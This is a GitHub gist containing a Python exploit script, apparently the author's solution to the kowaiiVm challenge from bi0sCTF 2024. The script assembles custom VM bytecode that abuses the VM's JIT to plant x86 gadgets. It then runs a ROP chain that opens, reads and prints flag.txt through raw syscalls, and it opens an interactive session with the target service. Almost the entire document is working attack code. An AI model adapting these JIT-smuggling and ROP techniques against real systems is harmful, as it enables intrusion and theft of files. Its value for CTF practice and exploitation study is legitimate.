Created
February 26, 2024 18:36
-
-
Save k1R4/896eb049d42c06a5922d1c8b8d0707b4 to your computer and use it in GitHub Desktop.
kowaiiVm - bi0sCTF 2024
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from dn3 import * | |
opcodes = { | |
"ADD": 0xb0, | |
"SUB": 0xb1, | |
"MUL": 0xb2, | |
"SHR": 0xb3, | |
"SHL": 0xb4, | |
"PUSH": 0xb5, | |
"POP": 0xb6, | |
"GET": 0xb7, | |
"SET": 0xb8, | |
"MOV": 0xb9, | |
"CALL": 0xba, | |
"RET": 0xbb, | |
"NOP": 0xbc, | |
"HLT": 0xbf, | |
"X0": 0x0, | |
"X1": 0x1, | |
"X2": 0x2, | |
"X3": 0x3, | |
"X4": 0x4, | |
"X5": 0x5, | |
} | |
class kowaiiBin(): | |
def __init__(self, entry:int, bss:int): | |
self.entry = entry | |
self.bss = bss | |
self.bssData = {} | |
self.funcEntries = {} | |
return | |
def raw(self) -> str: | |
funcAddrs = list(self.funcEntries.keys()) | |
bssOffsets = list(self.bssData.keys()) | |
funcAddrs.sort() | |
raw_bin = "" | |
raw_bin += "KOWAII" # Header | |
raw_bin += p16(self.entry) # Entry point | |
raw_bin += p32(0xdeadc0de) # Magic value | |
raw_bin += p16(self.bss) # .bss start | |
raw_bin += p8(len(funcAddrs)) # No.of functions | |
for addr in funcAddrs: | |
funcEntry = "" | |
funcEntry += self.funcEntries[addr]["hash"] # Hash/Unique identifier | |
funcEntry += p64(addr) # Address | |
funcEntry += p8(len(self.funcEntries[addr]["code"])) # Size | |
funcEntry += p8(0) # Call count | |
raw_bin += funcEntry | |
for addr in funcAddrs: | |
raw_bin = raw_bin.ljust(addr,"\x00") | |
raw_bin += self.funcEntries[addr]["code"] # Place code at correct offsets | |
raw_bin = raw_bin.ljust(self.bss, "\x00") | |
for offset in bssOffsets: | |
raw_bin = raw_bin.ljust(self.bss+offset, "\x00") | |
raw_bin += p64(self.bssData[offset]) | |
raw_bin += "\n" | |
return raw_bin | |
def addFunc(self, hash:str, address: int, code: str): | |
self.funcEntries[address] = {"hash": hash, "code": self.assembleCode(code)} | |
def addConst(self, val: int, offset: int): | |
self.bssData[offset] = val | |
def assembleCode(self, code: str) -> str: | |
bytecode = "" | |
prev_opcode = "" | |
for line in code.split("\n"): | |
curr_op = "" | |
count = 1 | |
line = line.replace(",", "") | |
line = line.rstrip(" ").lstrip(" ") | |
if line.startswith("#"): | |
continue | |
line = line.split() | |
if len(line) > 2 and line[-2] == "*": | |
count = int(line[-1]) | |
line = line[:-2] | |
for token in line: | |
token = token.upper() | |
if token not in opcodes.keys(): | |
try: | |
if prev_opcode == "CALL": | |
curr_op += token.lower()[:2] | |
continue | |
if "X" in token: | |
num = int(token,16) | |
else: | |
num = int(token) | |
if prev_opcode in ["MOV", "GET", "SET"]: | |
curr_op += p32(num) | |
elif prev_opcode in ["SHR", "SHL"]: | |
curr_op += p8(num) | |
continue | |
except: | |
continue | |
curr_op += chr(opcodes[token]) | |
if not token.startswith("X"): | |
prev_opcode = token.upper() | |
bytecode += curr_op*count | |
return bytecode | |
exe = ELF("kowaiiVm.dbg") | |
ctx.binary = exe | |
ctx.terminal = "kitty".split() | |
ctx.log = 0 | |
#ctx.aslr = False | |
global io | |
breakpoints = ''' | |
break jitEnc | |
break jitCall | |
'''+"continue\n"*1 | |
host, port = "localhost",1337 | |
if len(sys.argv) > 1 and sys.argv[1] == "-r": | |
io = remote(host,port) | |
elif len(sys.argv) > 1 and sys.argv[1] == "-ng": | |
io = process(exe.path) | |
else: | |
io = gdb(exe.path, gdbscript=breakpoints) | |
DeathNot3(io) | |
def push_addr(offset): | |
return f""" | |
mov x4, {offset} | |
add x3, x2, x4 | |
push x3 | |
""" | |
def push_imm(imm): | |
return f""" | |
mov x4, {imm} | |
push x4 | |
""" | |
kb = kowaiiBin(entry = 0x1000, bss = 0xc000) | |
kb.addConst(0x5b40000000001b8, 0x300) | |
kb.addConst(0x5b401b9bcbcbcbc, 0x308) | |
kb.addConst(upk("flag.txt"), 0x310) | |
_pop_rdi_rsi_rdx_ret = upk("\x5f\x5e\x5a\xc3") | |
_pop_rax_syscall_ret = upk("\x58\x0f\x05\xc3") | |
pop_rdi_rsi_rdx_ret = 0x1d | |
pop_rax_syscall_ret = 0x23 | |
kb.addFunc("en", 0x1000, f""" | |
mov x1, 0x1 | |
{''' | |
call ab | |
get x1, 0x300 | |
set x1, 0x0 | |
'''*11} | |
hlt | |
""") | |
ropchain = [ | |
push_addr(pop_rax_syscall_ret), | |
push_imm(2), | |
push_addr(pop_rdi_rsi_rdx_ret), | |
push_imm(0), | |
"push x5", | |
push_imm(0x40), | |
push_addr(pop_rax_syscall_ret), | |
push_imm(0), | |
push_addr(pop_rdi_rsi_rdx_ret), | |
push_imm(1), | |
"push x5", | |
push_imm(0x40), | |
push_addr(pop_rax_syscall_ret), | |
push_imm(1) | |
] | |
kb.addFunc("ab", 0xbff0, f""" | |
get x1, 0x308 | |
nop * 10 | |
set x1, 0x0 | |
shl x5, 0xff | |
ret | |
get x2, 0xffff401d | |
get x5, 0xffff4011 | |
mov x0, {_pop_rdi_rsi_rdx_ret} | |
mov x0, {_pop_rax_syscall_ret} | |
mov x1, 0xb310 | |
add x5, x1, x5 | |
{chr(0xa).join(ropchain[::-1])} | |
mov x4, 0x0 | |
push x4 | |
push x4 | |
push x5 | |
{push_addr(pop_rdi_rsi_rdx_ret)} | |
ret | |
""") | |
sla("> ", kb.raw()) | |
sla("> ", "y") | |
shell() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment